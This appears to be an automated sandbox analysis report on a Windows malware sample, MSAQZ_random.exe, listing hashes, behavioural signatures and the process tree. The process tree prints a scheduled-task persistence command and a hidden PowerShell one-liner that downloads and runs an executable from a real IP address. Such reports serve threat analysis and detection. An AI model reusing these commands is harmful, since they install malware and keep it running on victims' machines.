Analysis

  • max time kernel
    73s
  • max time network
    32s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29/03/2025, 13:38

General

  • Target

    MSAQZ_random.exe

  • Size

    938KB

  • MD5

    ed19338ae7b4f14a6300a82555194914

  • SHA1

    c4b17e900215a704197817f8d419b40a07d687e8

  • SHA256

    7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa

  • SHA512

    64fc35627f5790aa025d05515e8b353ed7825f0cfaf975304933d33b219ccbf7e8e41f9f83152a0a8315568b5195dbbb669d446f6a58f5d3f3a9b9937d16ddca

  • SSDEEP

    24576:9qDEvCTbMWu7rQYlBQcBiT6rprG8a0hu:9TvC/MTQYxsWR7a0h

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe
    "C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn st4mImaPIq4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2364
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn st4mImaPIq4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1456
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2596
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7UC2BHEMG9NGZTFOR1HYNOK4HD0ALLXK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2324

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta

    Filesize

    717B

    MD5

    75bef32b6afa7c11da58aa50228b5c5c

    SHA1

    3934e7f7f9a1a63d2f4689e04ad2c010af08708c

    SHA256

    d25fd05dba18c140d19edcce3d78e6d24aedd28cedccd9cf7a91224bfeed4bce

    SHA512

    83e281236ec2c57f4633b10346fb94cc7252aacb889af01bd8c188d43e84a50dff3d44bdecf10ba2312ceb13f9fa937d4beda671e3616e9133f40b747fed39ab